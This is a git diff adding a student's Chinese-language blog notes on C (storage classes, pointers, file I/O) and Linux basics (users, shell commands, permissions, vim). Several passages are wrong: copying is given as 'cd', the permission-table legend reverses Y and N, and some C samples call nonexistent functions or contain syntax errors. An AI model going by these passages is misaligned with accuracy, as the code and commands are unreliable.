fac(int a) + { + auto int b,c=3; //与intb,c=3;完全等价 + ..... + } + ``` + +#### 2、静态局部变量(static) + +- 特点:函数中局部变量的值在函数调用结束后不消失而继续保留原值,在下一次调用该函数时,该变量已有值。 + +#### 3、寄存器变量(register) + +- 对于一些频繁使用的变量,可将其存储在具有高速存取速率的寄存器中,这种变量叫寄存器变量 + + ``` + register int f; + ``` + +- 目前已不需要,遇到能看懂即可。 + +### 全局变量的存储类别 + +**1、在一个文件内扩展外部变量的作用域(extern关键字)** +**2、将外部变量的作用域扩展到其他文件(extern关键字)** +**3、将外部变量的作用域限制在本文件中(定义变量时加上static声明)** + +- 对局部变量用static声明,把它分配在静态存储区,该变量在整个程序执行期间不释放,其所分配的空间始终存在。 + *对全局变量用static声明,则该变量的唑酮与只限于本文件模块(即被声明的文件中)。 + +## 关于变量的声明和定义 + +### 1、对于函数而言 + +- 函数的声明时函数的原型,函数的定义是对函数功能的定义。 + +### 2、对变量而言 + +*建立存储空间的声明称为定义,不建立存储空间的声明称为声明。 + +## 内部函数和外部函数 + +- 根据函数能否被其他源文件调用,将函数区分为内部函数和外部函数 + +### 1、内部函数(静态函数) + +如果一个函数只能被本文件中其他函数所调用,则称为内部函数。定义内部函数时,在函数名和函数类型的前面加static,即 + +``` +static 类型名 函数名(形参名) +``` + +### 2、外部函数 + +如果在定义函数时,在函数首部的左端加关键字extern,则此函数时外部函数,可供其他文件调用 + +``` +extern int fun(int a,int b) +``` + +若在定义时省略extern,则默认为外部函数 \ No newline at end of file diff --git a/source/_posts/c_learn_4.md b/source/_posts/c_learn_4.md new file mode 100644 index 0000000..f765816 --- /dev/null +++ b/source/_posts/c_learn_4.md @@ -0,0 +1,455 @@ +--- +title: C语言-4 +date: 2022-12-01 16:24 +tags: [C语言, 笔记] +categories: 笔记 +--- + + + +## 指针 + +### 1、了解数据在内存中如何存取 + +- 定义变量后,系统会为该变量分配内存单元。 + + ``` + int i=5; //编译系统根据所定义变量类型(int)分配4个字节的存储空间供使用,且该存 + 储空间的名字为i,内部存储数据为5; + ``` + +- 内存中每一个字节都有一个编号——》地址 + + - 根据地址能定位至内存中的某一确定位置 + +- 使用地址和变量名均可访问到数据(即对内存中数据的访问有两种形式:直接访问和间接访问) + + - 直接访问:按变量名存取变量值(知道房间名,直接看门牌去) + - 间接访问:通过存放变量地址的变量去访问变量。(不知道房间名,也不知道地址,询问服务人员得知在2楼第1间,进入房间) + +举例: +![1.jpg](https://s1.vika.cn/space/2022/12/01/db0523ab80ff4e09973fbc6332acd4ed) + +### 2、什么是指针 + +- 指针:地址 +- 指针变量:专门用来存放另一变量的地址(指针)的变量。 + - 区分指针和指针变量 + - 指针变量中存放指针 + - 指针是一个具体的地址 + +## 指针变量 + +### 1、定义指针变量 + +- 定义指针的一般形式 + + ``` + 类型名 *指针变量名 + int *p; //定义一个指针变量p,规定其可以指向整型变量。 + ``` + +注意事项: +note red modern +指针变量前面的”*”表示该变量为指针型变量,指针变量名是p,而不是 *p。 + +在定义指针变量时必须指定**基类型**(因为不同类型的数据在内存中所占的字节数和存放方式是不同的) +指向整形数据的指针类型表示为“int*”,读作指向int的指针,或 int指针 + +指针变量中只能存放地址(指针),试图将一个整数赋给一个指针变量是不合法的。 + +endnote + +### 2、引用指针变量 + +- 给指针变量赋值 + + ```c + p = &a; //把a的地址赋给指针变量p; + ``` + +- 引用指针变量指向的变量 + + ```c + p = &a; + printf("%d",*p); //输出p所指向的变量的值,即a的值,*p的使用与a相同 + ``` + +- 引用指针变量的值 + + ```c + printf("%o",p); //以八进制输出指针变量p的值,p指向a,则输出a的地址 + ``` + +- **强调两个运算符。** + +> “&”取地址运算符 &a是变量a的地址 +> “*” 指针运算符(间接访问运算符) *p代表指针变量p指向的对象 + +例: + +```c +#include +int main() +{ + int a=50 , *p ; + p=&a ; + *p=100; + printf("%d, %d, %o\n", a, *p, p); //100, 100, 30577024 + printf("%o, %o\n",&*p, &a); //30577024, 30577024 + printf("%d, %d\n",*&a, *p); //100, 100 + return 0; +} +``` + +### 3、指针变量作为函数参数 + +以输入a和b两个整数,按大小顺序输出为例 + +```c +#include +int main() +{ + int *p1, *p2, *p, a, b; + scanf("%d, %d", &a, &b); + p1=&a; p2=&b; + if ( a +int main( ) +{ + int a, b; + scanf("%d,%d",&a,&b); + if ( a +int main( ) +{ + int a, b, *pa, *pb; + scanf("%d, %d", &a, &b); + pa=&a; pb=&b; + if ( a +int main( ) +{ + int a, b, *pa, *pb; + scanf("%d, %d", &a, &b); + pa=&a; pb=&b; + if ( a +int main( ) +{ + int a, b, *pa =&a, *pb =&b; + scanf("%d, %d", pa, pb); + if ( a形参的数据传递;return语句。 + - 全局变量。 + - 形参为指针。 + - 函数参数(形参或实参)为数组名或指针 + +```c +void fun(int a,int b,int *c,int *d) +{ *c=a+b ; *d=a-b ; } +#include +int main( ) +{ + int x , y , z , w ; + scanf("%d,%d",&x , &y ) ; + fun( x , y, &z , &w ) ; + printf("%d,%d\n" , z , w ) ; + return 0; +} +``` + +## 通过指针引用数组 + +- 关于数组 + + ```c + int a[5]; //定义一个长度为5的整型数组,内含5个数组元素: + a[0],a[1],a[2],a[3],a[4] + //对于数组元素的引用与普通变量相同 + //数组名a代表数组中首个元素的地址,即a[0]的地址 + ``` + + 更多关于数组 + + 点此跳转 + +### 1、数组元素的指针 + +- 指针变量既然可以指向变量,自然也可以指向数组元素。 + + ```c + inta[5]={1,2,3,4,5};//定义a为包含5个整型数据的数组 + ``` + + ```c + int*p; //定义p为指向整型变量的指针变量 + p=&a[0]; //把a[0]元素的地址赋给指针变量 + ``` + + 等价于 + + ```c + int*p=&a[0];//定义时直接进行初始化 + ``` + + 等价于 + + ```c + int*p=a;//因为数组名a代表的就是&a[0] + ``` + +### 2、在引用数组元素时的指针运算 + +**运算:数据的加减乘除** +**指针是内存地址编号,运算的意义?** +**一定条件下,允许对指针进行加减运算。** +**该条件指:指针指向数组元素。** + +- 如果指针变量p已指向数组中的某个元素 + *p+1指向数组中该元素的下一个元素//指针运算中加减的数值是默认乘以(该数据类型所占内存字节数)之后参与运算的 + + - p-1指向数组中该元素的上一个元素 + + - p++,++p,p–,–p,+=,-=均是合法运算 + + - 的初值未&a[0],则p+i和a+i就是数组元素a[i]的地址。 + + - *(p+i)或*(a+i)就是p+i或a+i所指向的数组元素 + + - 若指针p和q均指向同一数组中的元素,则执行p-q,所得结果表示两者所指元素中间的差值个数。 + *p+q无意义。 + + ```c + #include + int main() + { + int a[3]={100,200,300}; + int *p=a; //等价于int*p=&a[0]; + int *q=&a[1]; + printf("%d",*p); //100 + printf("%d",*(p+2)); //300 + printf("%d",*(q-1)); //100 + printf("%d",*(a+2)); //300 + printf("%d",q-p); //1 + return 0; + } + ``` + +### 3、通过指针引用数组元素 + +- 引用一个数组元素,可以用下面两种方法: + - 下标法a[i] + - 指针法*(a+i)或*(p+i)//a是数组名,p是指向数组中首元素的指针变量。 + 查看课本P231页例8.6 + +note red modern +**注意:** + +- 可以通过改变指针变量的值指向不同的元素例p++,但需注意不能通过数组名a变化的方法,因为数组名a为一个指针型常量。 +- 使用指针变量时,需要注意指针变量的当前值。 + +endnote + +### 4、用数组名做函数参数 + +- 就第七章所学,当用数组名做参数时,形参数组中各元素值发生改变,实参数组元素值随之变化作解释 + +- 实参数组名代表该数组首元素地址 + +- 形参用来接收从实参传递过来的数组首元素地址。 + +- 因此,形参是一个指针变量(因为只有指针变量才能存放地址) + +- 实际上,C编译将形参数组名作为指针变量来处理。 + + ```c + fun(int arr[],int n); //等效于fun(int *arr,int n); + ``` + +- 实参数组名代表一个固定的地址,或者说是指针常量,但形参数组名并不是一个固定的地址,而是按指针变量处理。因此在函数执行期间,它可以再被赋值。 + +**若有一个实参数组,要想在函数中改变此数组中元素的值,实参与形参对应关系有以下四种情况:** + +- 形参和实参都用数组名 + + ```c + #include + void fun(int b[]) + { + int i; + for(i=0;i<=4;i++) + { + b[i]=100; + } + } + int main() + { + int a[5]={0}; + int i; + fun(a); + for(i=0;i<=4;i++) + { + printf("%d",a[i]); + } + return 0; + } + ``` + +- 实参用数组名,形参用指针变量 + + ```c + #include + void fun(int*b) + { + int i; + for(i=0;i<=4;i++) + { + *(b+i)=100; + } + } + int main() + { + int a[5]={0}; + int i; + fun(a); + for(i=0;i<=4;i++) + { + printf("%d",a[i]); + } + return 0; + } + ``` + +- 实参形参都用指针变量 + + ```c + #include + void fun(int*b) + { + int i; + for(i=0;i<=4;i++) + { + *(b+i)=100; + } + } + int main() + { + int a[5]={0}; + int i; + int *p; + p=a; + fun(p); + for(i=0;i<=4;i++) + { + printf("%d",a[i]); + } + return 0; + } + ``` + +- 实参为指针变量,形参为数组名 + + ```c + #include + void fun(int b[]) + { + int i; + for(i=0;i<=4;i++) + { + b[i]=100; + } + } + int main() + { + int a[5]={0}; + int i; + int *p; + p=a; + fun(p); + for(i=0;i<=4;i++) + { + printf("%d",a[i]); + } + return 0; + } + ``` + +## 通过指针引用字符串 + +### 1、引用字符串的两种方法: + +- 字符数组内存放字符串,用数组名和%s输出 +- 用字符指针变量指向一个字符串常量,通过字符指针变量引用字符串常量。 + +### 2、字符指针作函数参数 + +**实参与形参对应关系有以下四种情况** + +- 形参和实参都用字符数组名 +- 实参用数组名,形参用字符指针变量 +- 实参形参都用指针变量 +- 实参为指针变量,形参为字符数组名 \ No newline at end of file diff --git a/source/_posts/c_learn_5.md b/source/_posts/c_learn_5.md new file mode 100644 index 0000000..4469521 --- /dev/null +++ b/source/_posts/c_learn_5.md @@ -0,0 +1,221 @@ +--- +title: C语言-5 +date: 2022-12-20 20:02 +tags: [C语言, 笔记] +categories: 笔记 +--- + +## 打开与关闭文件 + +### 1、用fopen打开文件 + +- fopen(文件名,使用文件方式) + + ```c + fopen("D:\\date\\Mystudio\\demo.txt","r+"); + fopen("D:/date/Mystudio/demo.txt","r+"); //绝对路径 + ``` + +- fopen函数的返回值是只要操作文件(demo.txt)的指针,若出错,将返回一个空指针(NULL)。 + +- 因此,一般是将fopen函数返回值赋给一个指向文件的指针变量。 + + ```c + FILE *fp; //定义一个文件指针 + //打开一个文件,"r+"表示可读可写的模式打开 + fp = fopen("D\\date\\Mystudio\\demo.txt","r+"); + if(fp==NULL) + printf("文件demo打开失败"); + else + printf("文件demo打开成功"); + fclose(fp); //关闭文件 + ``` + +### 2、用fclose关闭文件 + +- fclose(文件指针); + + ```c + fclose(fp); + ``` + +- 如不关闭文件就结束程序可能会丢失数据。 + +- fclose函数也会返回一个值,当成功执行了关闭为文件操做,返回值为0,否则返回EOF(-1); + +## 顺序读写数据文件 + +### 向文件读写字符 + +#### 1、fgetc(fp) 从fp指向的文件读入一个字符 + +- 读成功则返回所读的字符,失败则返回u文件结束标志EOF(-1); + + ```c + char c=fgetc(fc); + ``` + +#### 2、fputc(ch.fp); 把字符ch写道文件指针变量fp所指向的文件中 + +- 输出成功,则返回值就是输出的字符,失败就会返回EOF(-1); + +#### 3、feof(fp)函数用来判断文件是否结束 + +- 如果遇到文件结束,函数feo(fp)的值为非零值,否则为0 + +```c +char c; +c = fuputc(ch.fp) +while(!feof(fp)) +{ + printf("%c",c); + c = fputc(ch,fp); +} +//输出文件中的所有字符 +``` + +### 向文件读写字符串 + +#### 1、fgets(str,n,fp)从fp指向的文件读如一个长度为(n-1)的字符串 + +- 读成功则返回地址str,否则返回NULL; + +```c +FILE *fp; +char c[15]; +fp = fopen("D:/date/Mystudio/demo.txt","r+"); +fgets(c,15,fp); +print("%s",c); +``` + +#### 2、fputs(str,fp)把str指向的字符串写道文件指针变量fp所指向的文件中 + +- 输出成功则返回 0 ,否则返回非0值 + + ```c + FILE *fp; + char c[15]={"Hello Linux."}; + fp = fopen("d/date/Mystdio/demo.txt","r+"); + fputs(c,fp); + ``` + +### 用格式化方式读写文本 + +#### fprint(文件指针,格式字符串,输出列表)格式化输出字符 + +```c +FILE *fp; +fp = fopen("D;/date/Mystudio/demo.txt","r+"); +int i =5; +float f = 6.5; +fprint(fp,"i = %d,f = %6.2f",i,f); +``` + +#### 2、fcanf(文件指针,格式字符串,输出列表)格式化读入字符 + +```c +FILE *fp; +fp - fopen("D:/dete/Mystudio/demo.txt","r+"); +int i; +float f; +fscanf(fp,"%d%f",&i,&f); +printf("%6.2f",i+f); +``` + +### 用二进制方式向文件读写一组数据 + +#### 1、fwrite(butter,size,count,fp);向文件写数据块 + +| 名字 | 解释 | +| ------ | -------------- | +| butter | 地址 | +| size | 字节数 | +| count | 要写多少数据块 | +| fp | FILE类型指针 | + +```c +#include +#include + +struct Student +{ + char name[20]; + char addr[20]; +}s1[3]={ + {"lingren","Daoqi120"}, + {"zhongli","liyue100"}, + {"baerzebu","Daoqi100"}, +}; +int main() +{ + FILE *fp; + fp = fopen("E:/USERS/桌面文件/test.txt","r+"); + int i; + for(i=0;i<3;i++) + fwrite(&s1[i],sizeof(struct Student),1,fp); + fclose(fp); + + wreturn 0; +} +``` + +![img](https://s1.vika.cn/space/2022/12/20/bfa97de49a3740b6a081389f21b9425d) + +#### 2、fread(buffer,size,count,fp); 从文件中读数据块 + +### 五、随机读写数据文件 + +#### 1、rewind函数 使文件位置标记指向文件开头 + +#### 2、fseek(文件类型指针,位移量,起始点) 改变文件位置标记 + +```c +fseek(fp,0,SEEK_SET); //光标移动到文件开头后往后偏移0个字节的位置 +#include +#include +struct Student +{ + char name[10]; + char addr[10]; +}s1[4]={ + {"lingren","Daoqi120"}, + {"zhongli","liyue100"}, + {"baerzebu","Daoqi100"}, +}; +int main() +{ + FILE *fp; + fp = fopen("E:/USERS/桌面文件/test.txt","r+"); + int i; + for(i=0;i<3;i++) + fwrite(&s1[i],sizeof(struct Student),1,fp); + fseek(fp,sizeof(struct Student),SEEK_SET); + fread(&s1[3],sizeof(struct Student),1,fp); + printf("%s,%s",s1[3].name,s1[3].addr); + fclose(fp); + return 0; +} +``` + +### 六、文件读写出错检测 + +#### 1、ferror(fp) 检测是否出错 + +```c +#include +int main(void) +{ + FILE* fp; + fp = fopen("demo.txt","w"); + fgetc(fp); + if (ferror(fp)) + { + printf("读取出错\n"); + printf("%d\n",ferror(fp)); + clearerr(fp); + printf("%d\n",ferror(fp)); + } + fclose(fp); + return 0; +} +``` \ No newline at end of file diff --git a/source/_posts/cloud_linux_1.md b/source/_posts/cloud_linux_1.md new file mode 100644 index 0000000..7b15702 --- /dev/null +++ b/source/_posts/cloud_linux_1.md @@ -0,0 +1,1567 @@ +--- +title: 云计算 - Linux用户基础 +date: 2023-03-19 10:12 +tags: [云计算, 笔记] +categories: 笔记 +thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg" +--- + +## Linux系统结构 + +## 操作系统的组成 + +**Linux系统一般有四个主要部分:内核,shell,文件系统和应用程序.内核,shell和文件系统一起形成了基本的操作系统结构,他使得用户可以运行程序,管理文件并使用系统.** +![img](https://s1.vika.cn/space/2023/03/19/7c9aa32614db47859957792f5decad64) + +## 内核组成 + +- [系统调用接口](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#jump5) +- 进程管理 +- 内存管理 +- [虚拟文件系统](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#jump6) +- 网络协议堆栈 +- 硬件驱动 +- 安全 + +![img](https://s1.vika.cn/space/2023/03/19/e7189bb257854122b28e54ae6f7db34e) + +## 用户程序 + +> - SHELL(CLI) +> - 图形化(GUI) +> - 终端界面(TUI) +> - 各种服务 + +## API + +- 大多数程序员从来不知道系统调用的细节,他们设计程序主要根据API(Application Programming Interface) +- API定义了一组可供应用程序使用的函数. + +![img](https://s1.vika.cn/space/2023/03/19/bb02066b0db24159a4f366e70a3cca57) + +### 最常见的 API + +- [Win32 ](https://learn.microsoft.com/zh-cn/windows/win32/apiindex/api-index-portal) +- [POSIX API ](https://www.bookstack.cn/read/linuxapi/POSIX-IO) +- [JAVA API ](https://www.oracle.com/cn/java/technologies/java-se-api-doc.html) + +## 系统接口类型 + +> - 进程控制相关(create peocess,terminate process) +> - 文件管理相关(create file,delete file,open,close) +> - 设备管理(request device,release device) +> - …… + +**系统架构** +![img](https://s1.vika.cn/space/2023/03/19/520e835cb60148dca2b4b6bb04fa09e9) + +#### 虚拟文件系统 + +> 虚拟文件系统(VFS)是物理文件系统与服务之间的一个接口层,他对Linux的每一个文件系统的所有细节进行抽象化,使得不同的文件系统在Linux核心以及系统中运行的其他进程看来,都是相同的. + +## 开源 && 闭源 && 共享源 + +![img](https://s1.vika.cn/space/2023/03/19/dd91ef7edc1c485dbc54c317485d36de) + +- **开源(open source)是一种促进自由重新分发和自由访问产品设计理念,想法以及实施细节的理念.** +- **开源软件被发布给开源社区,而闭源软件是由比较小的开发团队隔离开发的.** +- **开源相对更加安全,BUG和漏洞解决相对比较快.** + +### 开源的例子 + +> - 开源的应用软件: +> - Chromium +> - Mozilla firefox +> - Open office … +> - 开源的操作系统: +> - Android +> - Linux +> - FreeBSD … +> - 开源的编程语言: +> - Perl,php,python,ruby,java … + +### 自由软件基金会 + +- [GNU ](https://www.gnu.org/licenses/): GNU’s Not Unix +- [FSF ](https://www.fsf.org/): Free Software Foundation +- [GPL ](https://www.gnu.org/licenses/gpl-3.0.en.html): General Public License + +> - **自由软件** +> - 自由软件,不只是开放源码 +> - 自由软件的敌人是私有软件 +> - 四大自由: 自由使用,修改,复制,发行 +> - **License and copyright** +> - 有几百种不同的license +> - 有些license去遵守是有点难度的 +> - GNU GPL说如果被修改,发布的代码也要在GPL下发布,你只能用GPL代码 +> - “copyleft”(非盈利版权) +> - **自由软件 && 免费软件** +> - 自由软件不一定免费 +> - 免费软件并不公开源码 + +### 共享源(Mixed/shared source) + +- 介于开源和闭源之间 + +## Unix 历史 + +![img](https://s1.vika.cn/space/2023/03/19/ab25b0e3c62746d191629ec0d8019a1a) + +![img](https://s1.vika.cn/space/2023/03/19/4f2900a4589d4014a6bc2f071305df4c) + +> - 第一阶段: 诞生 + +- 第二阶段(1973年~70年代末):免费扩散 +- 第三阶段(20世纪70年代中期~80年代中期): 商用版本的出现和三大主线的形成 +- 第四阶段(20世纪80年代后期): 两大阵营和标准化 +- 第五阶段(20世纪90年代): 面对外来的竞争,阵营淡化 + +## Linux 历史 + +> - **1984: GNU 工程和自由软件基金会** +> - 创建开源版本的UNIX事业 +> - 创建General Public License + +- **软件许可遵循开源规则** + - 1991: Linux Torvalds + - 创建开源类似 unix 内核的代码,并且发布在GPL下 + +## Linux 发行版 + +> - [Red Hat ](https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux) + +- [Ubuntu ](https://www.ubuntu.org.cn/global?cp=close) +- [Debian ](https://www.debian.org/index.zh-cn.html) +- [Arch ](https://archlinux.org/) +- [Kali ](https://www.kali.org/) +- [centos ](https://www.centos.org/) + +[**Isoft**](https://www.isoft3.com/) + +## linux 终端 + +### 什么是终端 + +- **终端是一种输入输出设备,用来让用户输入数据,及显示计算结果的设备.相对于计算机而言,其属于外设,本身不提供运算处理能力.** + +![img](https://s1.vika.cn/space/2023/03/19/ed993428fbc948e0ab54954aa7609553) + +### tty + +![img](https://s1.vika.cn/space/2023/03/19/c96e1133156546b98b9704df5548824d) + +切换 + +- 图像化转到 TTY 的方法: CTRL+ALT+Fn(F2~F6) +- TTY之间切换: ALT+Fn(F2~F6) +- TTY切换回图形化界面: ALT+F1 + +### PTS + +![img](https://s1.vika.cn/space/2023/03/19/20d6bcfa7f624f41974534aaa8823336) + +## 用户和组 + +### 用户和组的含义 + +#### 用户 + +> - 每个用户被分配一个独特的用户id号(UID) +> - UID 0 标识 root 用户 +> - 用户账号通常从UID 500 开始 + +#### 组 + +- 用户指派给组 +- 每一个组被分配给一个独特的组ID(gid) + +#### 用户和组 ID + +- 用户名映射到用户ID数字 +- 组名映射到组ID数字 +- 储存在硬盘上的数据是数字形式储存的. + +### Root用户 + +> - root用户: 一个特定的管理员账号,也被称作超级用户 + +- root用户几乎可以完全控制系统,它同样也可完全不受限制的损坏系统 +- 正常用户损坏系统的可能性是非常小的 + +### 系统用户和组 + +> - 典型的web或者打印服务的服务程序以非特权用户运行,而不是用root用户 +> - 例如: daemon,mail,lp,nobody + +- 这种方式运行的程序限制了任何单个程序能够对系统做的危害数量 + +folding cyan close, 简单的查看用户信息命令 + +```bash +useradd user1 #添加一个 user1 用户 + +passwd user1 #对user1进行设置密码 + +id user1 #查看user1的id信息 + +cat /etc/passwd #查看所有用户信息 + +su - user1 #以root身份创建一个新的shell +``` + +endfolding + +## 获取帮助 + +执行命令的方法 + +- –help +- man + +### 运行命令 + +> - 命令有着如下的语法 +> - command options arguments + +- 项与项之间以空格隔开 +- options修饰一个命令的行为 + - 单字母选项一般带有”-“,例如:-a,-b,-c,或者-abc + - 全字母选项前常带有”–”,例如:–help +- 参数是一个文件名或者其他被该命令需要的数据 +- 多个命令用”;”进行分隔 + +> - 多种层次的帮助 +> - [whatis](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#whatis) +> - command -help +> - [man](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#man) +> - info +> - /usr/share/doc +> - 官方网站 +> - Google,baidu + +### whatis + +whatis是查询一个命令执行什么功能,并把查询结果打印到显示器上。 + +- 显示命令的简短描述 +- 这些描述储存在数据库中,每晚更新(命令 makewhatis) +- 在安装完软件后无法马上使用 + +### man命令 + +> - 为名提供相关帮助文档 + +- 几乎所有的命令都有 man “页” + +- 页面分成章节,共八章 + +- 他们统一组成Linux的手册 + + ``` + man [] + ``` + +手册位置: **/usr/share/man/** + +man章节: + +- 第一章: 用户命令 +- 第二章: 系统调用 +- 第三章: 库函数 +- 第四章: 设备文件 +- 第五章: 文本文件格式 +- 第六章: 游戏 +- 第七章: 杂项 +- 第八章: 系统管理工具 + +> ``` +> man -f 与 whatis结果相同 +> ``` + +### whereis 命令 + +whereis命令用于查找文件。 +该指令会在特定目录中查找符合条件的文件。这些文件应属于原始代码、二进制文件,或是帮助文件。 + +该指令只能用于查找二进制文件、源代码文件和man手册页. + +> –help + +- 大多数命令都支持 + +### 解读手册 + +> - 通过–help,man 和其他命令可显示 + +- 用来描述一个命令的语法 + - 在[]中的参数是可以选择的 + - 大写的参数在<>中表示变量 + - 文本后面跟随…表示一个列表 + - x|y|z表示 “x或者y或者z” + *-abc表示 “任意-a,-b,或者-c的任意组合” + +## SHELl的常用命令 + +### 改变目录 + +> - cd 命令改变目录 + +- 改变到一个绝对或者相对路径 + - cd /home/sfd/work + - cd project/docs +- 改变到上层目录 + - cd .. +- 改变到当前用户的主目录 + - cd +- 改变目录到上一个工作目录 + - cd - + +### 显示目录内容 + +> - 显示当前目录或者指定目录下的内容 + +- 使用: + + ``` + ls [options] [files_or_dirs] + ``` + +- 示例: + + - ls -R (递归所有目录) + - ls -a (包括隐藏文件) + - ls -l (显示拓展信息) + - ls -ld (显示目录和符号链接信息) + +### 拷贝文件和目录 + +> - cd -拷贝文件和目录 + +- 使用 + + ``` + cd [options] file destination + ``` + +- 如果 destination 是一个目录,可以一次拷贝多个文件到这个目录中: + + ``` + cd [options] file1 file2 destination + ``` + +### 拷贝文件和目录: destination + +> - 如果目标是一个目录,该拷贝把文件放到该目录下 + +- 如果目标是一个文件,该拷贝会覆盖目标文件 +- 如果目标不存在,该拷贝被重命名 + +### 移动,重命名文件和目录 + +> - mv -移动或者重命名一个文件或目录 + +- 使用: + + ``` + mv [options] file destination + ``` + +- 如果目标是一个目录可以同时移动多个文件: + + ``` + mv [options] file1 file2 destination + ``` + +- 目标的操作类似 cp + +### 创建和删除目录 + +> - mkdir -创建目录 + +- rmdir -删除空目录 + +- touch -创建一个空的文件或者更新一个文件的时间戳 + +- rm -删除文件 + +- 使用: + + ``` + rm [options] ... + ``` + +- 示例: + + - rm -i file (交互式) + - rm -r directory (递归) + - rm -f file (强制) + +## 目录结构 + +### Linux 文件层次结构 + +![img](https://s1.vika.cn/space/2023/03/20/0592cf9228ef453b88c956fe3f9de94b) + +> - 文件目录组织成单根的倒置树结构 + +- 文件系统从root目录开始,表示为一个单独的’/‘(斜线)字符 +- 命名大小写敏感 +- 路径以’/‘分隔 + +### 文件和目录名 + +> - 名字不能多于255个字符 + +- 所有字符都要求是有效的,除斜线(/)之外 + - 不要使用某些特殊的字符在文件或者目录名中 + - 某些字符应用引号保护起来当引用他们时 +- 命名和大小写敏感 + - 例如: MAIL,Mail,mail和mAil + - Again,possible,but等字符不建议采用 + +## 绝对和相对路径 + +> - **绝对路径** +> - 以斜线开头 +> - 文件位置的全路径 +> - 采用绝对路径可以到处使用 + +- 相对路径 + - 不以斜线开头 + - 当前工作目录的相对位置 + - 可以通过相对路径方式指定一个文件名 + +## 一些重要的目录 + +> - 主目录: /root,/home/username + +- 用户可执行的目录: /bin,/usr/sbin,/usr/local/sbin +- 系统可执行目录: /sbin,/usr/sbin,/usr/local/sbin +- 配置目录: /etc +- 临时问及爱你目录: /tmp +- 内核和引导启动目录: /boot +- 服务列表: /var,/srv +- 共享库目录: /bin,/usr/bin,/usr/local/bin + +## 程序的组成 + +> - 二进制程序 + +- 配置文件 +- 库 +- 数据文件 +- 帮助文件 + +## 基本权限 + +### 初识基本权限 + +> - r -可以查看文件里的内容 + +- w -可以修改文件里面的内容 +- x -可以运行脚本或者命令 + +![img](https://s1.vika.cn/space/2023/03/20/1f7efdc9abb24268bbb5d8ccacfafd3d) + +![img](https://s1.vika.cn/space/2023/03/20/8806ec7ae2074d2c9aca7ea951479d40) + +| 八进制 | 二进制 | 权限 | +| ------ | ------ | ----- | +| 0 | 000 | - - - | +| 1 | 001 | - -x | +| 2 | 010 | -w- | +| 3 | 011 | -wx | +| 4 | 100 | r- - | +| 5 | 101 | r-x | +| 6 | 110 | rw- | +| 7 | 111 | rwx | + +### 设置权限 + +#### 符号法 + +> - 基本语法 +> +> ``` +> chmod [-R] mode file +> ``` + +- mode(模式): + - u,g或者o表示文件所属用户,组以及其他用户 + - - 或者 - 表示允许或者禁止 + - r,w或者x表示读取,写和执行 +- 示例: + - ugo + r: 允许所有用户对该文件具有读取权限 + - o - wx: 禁止其他用户对该文件的写和执行操作 + +#### 数字法 + +> - 使用三位数字模式 +> - 第一位数字指定所有者权限 +> - 第二位数字指定所属组权限 +> - 第三位数字指定其他用户的权限 + +- 权限通过累加的方式来计算: + + - 4(读取) 2 (写) 1 (执行) + +- 示例: + + ``` + chmod 640 myfile + ``` + +### 改变文件所有权 + +> - 只有root用户能改变一个文件的所有者 + +- 只有root 用户或者所有者能改变文件的组 + +- 通过chown命令改变用户所有权 + + ``` + chown [-R] user_name file|directory + ``` + +- 通过chgrp命令改变组所有权 + + ``` + chgrp [-R] group_name file|directory + ``` + +## 基本权限含义 + +### Linux文件安全 + +> - 每一个文件都属于一个UID和GID所有 + +- 任何进程运行时都带有一个uid和一个或多个gid标识符 + - 通常决定于哪个用户执行这个进程 + +### 权限有限顺序 + +- 如果UID匹配,用户权限适用 +- 否则,如果GID匹配,组权限适用 +- 如果都不匹配,其他权限适用 + +### 权限在目录上面的含义 + +| 目录名/命令 | cd | ls -l | touch(1) | touch(2) | chmod | rm | +| ----------- | ---- | ----- | -------- | -------- | ----- | ---- | +| r- - | N | ? | N | N | N | N | +| rw- | N | ? | N | N | N | N | +| r-x | Y | Y | Y | N | Y | N | +| -w- | N | N | N | N | N | N | +| -wx | Y | N | Y | Y | Y | Y | +| - -x | Y | N | Y | N | Y | N | +| rwx | Y | Y | Y | Y | Y | Y | + +note info modern +注释: + +- ?:只能查看文件名,无法查看文件属性 +- N: 可以执行 +- Y: 无法执行 + endnote + +## 基本权限在生产环境下的应用 + +## Vim编辑器 + +**概述** + +- 使用vi和vim的三种主要模式 +- 浏览文本和进入插入模式 +- 改变,删除文本 +- 撤销更改 +- 搜索一个文档 +- 保存和退出 + +### vim介绍 + +> - vi的最新版本,标准的unix文本编辑器 +> - 执行vi的时候会默认运行vim + +- Gvim: vim的图形化版本 + - 提供在vim-x11包里 +- 优点: + - 速度: 操作键盘次数减少 + - 简单: 不依赖鼠标/图形 + - 可用: 可适应与多种类unix系统 +- 缺点: + - 困难:比较陡峭的学习曲线 + - 着重在于键盘的操作速度 + +### vim的三种模式 + +> - vim的模式决定按键的行为 + +- 三种模式: + - 一般模式(缺省): 移动光标,剪切/粘贴文本,改变模式 + - 插入模式: 修改文本 + - Ex模式: 保存,退出等 +- Esc见推出当前模式 +- 连续按两次Esc建回到一般模式 + +### 三种模式的切换 + +> - [按i字符在光标处开始插入](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#charu) + +- 进入Ex模式 + + - 在屏幕左下角创建一个命令指示符 + - 常用的写/退出命令 + - :w : 写(保存)文件到磁盘 + - :wq : 保存并退出 + - :q! : 强制退出,不保留最近的修改 + +- 其他的选项 + + - A: 在行尾插入 + - I: 在行头插入 + - o: 插入新行(在光标所在行的下边) + - O: 插入新行(在光标所在行的上面) + +- Vim缺省模式 + +- 键盘描述动作和文本操作命令 + +- 以数字开头将重复命令 + +- 示例: + + - 右方向键 向右移动一个字符 + - 5,右方向键 表示向右移动5个字符 + +- 逐字符移动: 方向键,h,j,k,l + + - 在老系统中,非方向键操作对远程连接是非常有用的 + +- 逐单词移动: w,h + +- 逐语句移动: ),( + +- 逐段移动: },{ + +- 跳到行x: xG或者 :x + +- 跳到文件尾: G + +- 使用/,n,N搜索 + +- 在sed中搜索/替换 + + - 缺省影响当前行 + + - 使用x,y界定范围或者使用%针对所有的行 + + ``` + :1,5s/cat/dog/ # 把文件当中第一行到第五行的cat替换为dog + :%s/cat/dog/gi # % 针对所有行, g 一行内进行多个匹配进行替换, i 替换时忽略大小写 + ``` + +| | 替换 | 剪切 | 拷贝 | +| ------ | ---- | ---- | ---- | +| 行 | cc | 